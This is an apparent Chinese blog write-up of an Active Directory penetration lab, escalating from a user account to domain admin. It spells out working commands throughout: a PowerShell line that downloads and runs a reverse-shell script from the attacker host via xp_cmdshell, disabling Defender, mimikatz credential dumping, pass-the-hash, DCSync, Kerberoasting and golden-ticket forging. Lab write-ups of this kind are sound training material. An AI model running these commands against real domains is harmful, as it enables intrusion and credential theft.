百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

Offensive-AD域靶场渗透 在线渗透靶场环境

suiw9 2024-11-11 15:52 65 浏览 0 评论

Offensive是国外的一个靶场,要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。

网络拓扑如下:

通过信息搜集,以及知道当前用户为offensive\Alice在域环境offensive中,当前用户不在管理员组中。使用工具包中提供的powerup来进行检查,寻找当前主机的Windows服务漏洞来进行提权。

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks" 

这里发现VulnService.exe是以localsystem权限启动的,这里利用方法是利用powerup写入一个二进制文件,将Alice添加到管理员组:

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName'VulnService' -UserName'offensive\Alice' -Password 'Passw0rd'" 

将生产的service.exe重命名后放在对应目录下,重启主机后,提取至管理员权限。

使用提供的powerview脚本来进行域内信息搜集:

Import-Module .\PowerView.ps1        #导入脚本
Get-NetDomain               #获取域信息
Get-NetDomainController         #获取域控信息
Get-NetUser | select name         #获取域内的用户
Get-NetGroup | select name         #获取域内的组
Get-NetComputer |select name      #获取域内主机的名字

使用powerupsql脚本来进行信息搜集:

Import-Module .\PowerUpSQL.ps1        #导入脚本
Get-SQLInstanceDomain | Get-SQLConnectionTest     #枚举域内数据库访问情况
Get-SQLServerInfo -Instance Offensive-SQL1      #枚举当前服务的详细信息
Invoke-SQLAudit -Instance Offensive-SQL1 -verbose #扫描当前服务器可能存在的问题

扫描发现Offensive-SQL1当前登录的用户为Alice:

可以通过xp_cmdshell来执行系统命令:

使用提供的Heidisql连接到数据库,执行下述命令,当前用户为域管理员:

SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options’  
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'

将提供的反弹shell的脚本拖进HFS中:

导入powercat脚本来监听443端口,数据库执行系统命令,获得数据库服务器的shell:

EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'

先关闭defender:

Set-MpPreference-disablerealtimeMonitoring $true
将mimikatz拖进HFS,执行文件下载命令,将mimikatz下载下来,然后运行mimikatz抓取密码
certutil -urlcache -f -splithttp://192.168.159.10/mimikatz.exe mimikatz.exe
.\mimikatz.exe"privilege::debug" "sekurlsa::logonpasswords" exit

抓取到dbadmin密码的哈希和明文密码:

使用mimikatz进行PTH,报错百度说可能是Win10的某些安全性改进,导致mimikatz无法读取lsass导致的。

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local
/ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit

那就在Offensive-SQL1来执行试一下,先开启数据库服务器的远程桌面,使用dbadmin用户登录。

登录到Offensive-SQL1上后,执行命令,成功登录到dc。

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit
Enter-PSSession -ComputerName dc

我们已经获取到域管理员权限,可以利用Dcsync来导出所有域用户的哈希:

lsadump::dcsync /domain:offensive.local /all /csv 

对域管理员Administrator密码的哈希进行破解,密码为Password!

Kerberoasting

使用GetUserSPNS脚本来查询域内用户注册的 SPN:

Add-Type -AssemblyName System.IdentityModel    #请求服务票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Offensive-SQL1:1433"   #列出服务票据
Kerberos::list /export   #导出票据

使用tgsrepcrack脚本对导出的服务票据文件进行离线破解,这里是因为未修改之前的机器密码为Passw0rd!

黄金票据

前面我们通过Dcsync已经知道了krbtgt的哈希,执行下述命令黄金票据攻击:

kerberos::golden /user:Administrator /domain:offensive.local /sid:S-1-5-21-1187620287-4058297830-2395299116 /krbtgt:61d83c569b93bfcd4ca2087011361caa /ptt #
misc::cmd
dir \\dc.offensive.local\c$

通过这个靶场进一步的了解了提权、横向、mssql命令执行、dcsysc、pth等常见渗透攻击方法,以及如何利用当前权限和工具一步步渗透到达域控获取域管理员权限从而接管整个域。

相关推荐

设置文件的默认打开方式(如何设定文件的默认打开方式)

在操作系统中,设置文件的默认打开方式可以让特定类型的文件始终使用你选择的程序打开。以下是Windows和macOS系统中设置默认打开方式的详细步骤:Windows系统方法1:通过文件属性设置右键点...

电脑怎么设置默认浏览器(电脑怎么设置默认浏览器?)

在电脑上设置默认浏览器的步骤因操作系统不同而有所差异。以下是Windows和Mac系统的设置方法:Windows系统方法1:通过系统设置打开“设置”:...

Java接口默认方法:灵活与约束并存

Java接口默认方法:灵活与约束并存在Java编程的世界里,接口作为定义行为规范的重要工具,一直扮演着举足轻重的角色。然而,在Java8引入了默认方法之后,接口的设计和使用方式发生了微妙的变化。今天...

Java8新特性之默认方法:为接口注入灵魂

Java8新特性之默认方法:为接口注入灵魂Java8发布时,它带来的最大创新之一就是接口的默认方法。这就像给一个传统的木偶注入了生命,让它不仅能动还能说话了。今天我们就来聊聊这个让Java开发者欢呼雀...

CentOS系统在不重启的情况下为虚拟机添加新硬盘

一、概述用过虚拟机的都知道,如果在系统运行的时候去给虚拟机添加一块新设备,比如说硬盘,系统是读取不到这个新硬盘的,因为系统在启动的时候会去检测硬件设备。但是我们也可能会遇到这样的情况,比如正在运行比较...

[常用工具] 基于psutil和GPUtil获取系统状态信息

本文主要介绍在Python3中利用psutil库获取系统状态,利用GPUtil获取gpu状态。psutil(processandsystemutilities)(进程和系统实用程序)是一个跨平...

Docker容器内执行宿主机指令(docker执行宿主机shell)

一背景最近项目有个需求,需要程序配置服务器IP并且可以重启服务器。如果程序直接部署在服务器,相信大家都会操作。但是程序是用docker运行的,在docker中执行指令就很麻烦了。...

容器网络调试怎么办?一条命令就搞定!

nsenter命令是一个可以在指定进程的命令空间下运行指定程序的命令。它位于util-linux包中。用途...

linux自动化巡检脚本集(linux服务器巡检内容以及标准)

以下是一个自动化巡检脚本集的制作方案,包含常见系统检查项和可扩展框架,使用Python和Shell脚本实现:...

麒麟KOS|统信UOS系统添加新数据盘
麒麟KOS|统信UOS系统添加新数据盘

原文链接:麒麟KOS|统信UOS系统添加新数据盘...

2025-03-26 16:57 suiw9

Linux CentOS 7 根目录扩容(linux扩展根目录磁盘空间)

一、现状描述现有一台CentOS7的虚拟机,硬盘容量为30GB通过lsblk命令查看分区容量,当前根目录容量为27.5GB左右二、扩容需求...

从Linux底层分析Docker原理(linux docker-compose)

写在前面如果你觉得本人对你有帮助,请你记得评论,点赞,关注;如果你觉得文章还不错请记得收藏,点赞。如果你觉得文章非常的好可以私信我,我会在第一时间回复你。...

CentOS新增硬盘的使用步骤(centos扩展硬盘)

一、查看机器所挂硬盘个数及分区情况,新增硬盘为/dev/sdb...

Python之psutil库简介(python3 pil库)

psutil(pythonsystemandprocessutilities)是一个跨平台的第三方库,能够轻松实现获取系统运行的进程和系统利用率(包扩CPU、内存、磁盘、网络等)信息。它主...

运维,你还不会查看Linux系统cpu信息?

CPU也称为微处理器或简称为处理器。就像大脑如何控制人体一样,CPU控制着计算机的所有部分。因此CPU被认为是计算机的大脑。那我们怎么在Linux系统中查看如IntelCorei3、i5、AM...

取消回复欢迎 发表评论: